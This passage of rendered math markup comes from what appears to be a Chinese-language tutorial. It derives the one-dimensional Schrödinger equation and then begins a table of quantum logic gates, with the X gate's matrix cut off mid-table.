class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">ω</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0576em;">E</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>帶回去，能得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><msup><mi>e</mi><mrow><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mo stretchy="false">(</mo><mi>p</mi><mi>x</mi><mo>−</mo><mi>E</mi><mi>t</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">\psi(x,t) = A e^{\frac{i}{\hbar}(px - Et)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0116em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.0116em;"><span style="top:-3.413em;margin-right:0.05em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8551em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight">ℏ</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0576em;">E</span><span class="mord mathnormal mtight">t</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>對 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 微分兩次可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>=</mo><msup><mrow><mo fence="true">(</mo><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mi>p</mi><mo fence="true">)</mo></mrow><mn>2</mn></msup><mi>ψ</mi><mo>=</mo><mo>−</mo><mfrac><msup><mi>p</mi><mn>2</mn></msup><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup></mfrac><mi>ψ</mi><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext><mo>−</mo><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>=</mo><msup><mi>p</mi><mn>2</mn></msup><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\frac{\partial^2 \psi}{\partial x^2} = \left(\frac{i}{\hbar}p\right)^2 \psi = -\frac{p^2}{\hbar^2} \psi \implies -\hbar^2 \frac{\partial^2 \psi}{\partial x^2} = p^2\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.604em;vertical-align:-0.95em;"></span><span class="minner"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal">p</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.654em;"><span style="top:-3.9029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0585em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>對 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 微分一次可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mo>−</mo><mfrac><mi>i</mi><mi mathvariant="normal">ℏ</mi></mfrac><mi>E</mi><mo>⋅</mo><mi>ψ</mi><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mi>E</mi><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\frac{\partial \psi}{\partial t} = -\frac{i}{\hbar} E \cdot \psi \implies i\hbar \frac{\partial \psi}{\partial t} = E\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0225em;vertical-align:-0.686em;"></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3365em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">ℏ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⟹</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>我們將他們代入能量守恆(兩邊同乘<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ψ</mi></mrow><annotation encoding="application/x-tex">\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span>)：</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>E</mi><mi>ψ</mi><mo>=</mo><mfrac><msup><mi>p</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><mi>ψ</mi><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mi>ψ</mi></mrow><annotation encoding="application/x-tex">E\psi = \frac{p^2}{2m}\psi + V(x)\psi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.1771em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span></span></span></span></span></p><p>即可得到</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mrow><mi mathvariant="normal">∂</mi><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mo>=</mo><mrow><mo fence="true">(</mo><mo>−</mo><mfrac><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><mfrac><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mrow><mi mathvariant="normal">∂</mi><msup><mi>x</mi><mn>2</mn></msup></mrow></mfrac><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo fence="true">)</mo></mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i\hbar \frac{\partial \psi(x,t)}{\partial t} = \left(-\frac{\hbar^2}{2m} \frac{\partial^2}{\partial x^2} + V(x)\right)\psi(x,t)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4411em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7401em;"><span style="top:-2.989em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span></span></p><p>這是一維的，稍加推廣就可以得到上面那個。</p><h1 id="%E9%87%8F%E5%AD%90%E8%A8%88%E7%AE%97%E5%9F%BA%E7%A4%8E" tabindex="-1">量子計算基礎</h1><h2 id="%E9%87%8F%E5%AD%90%E9%82%8F%E8%BC%AF%E9%96%98" tabindex="-1" id="量子邏輯閘">量子邏輯閘</h2><p>首先，量子邏輯閘一定是 Unitary 的，常見的量子邏輯閘整理如下：</p><blockquote><p>註：為了銜接，以下用 IBM Quantum Platform 的約定，最右邊為第一個 q bit。</p></blockquote><p>單閘：</p><table><thead><tr><th style="text-align:center">Gate</th><th style="text-align:center">Matrix</th><th>Vector</th><th style="text-align:center">Maze</th></tr></thead><tbody><tr><td style="text-align:center">X</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 0 &amp; 1 \\ 1 &amp; 0 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span 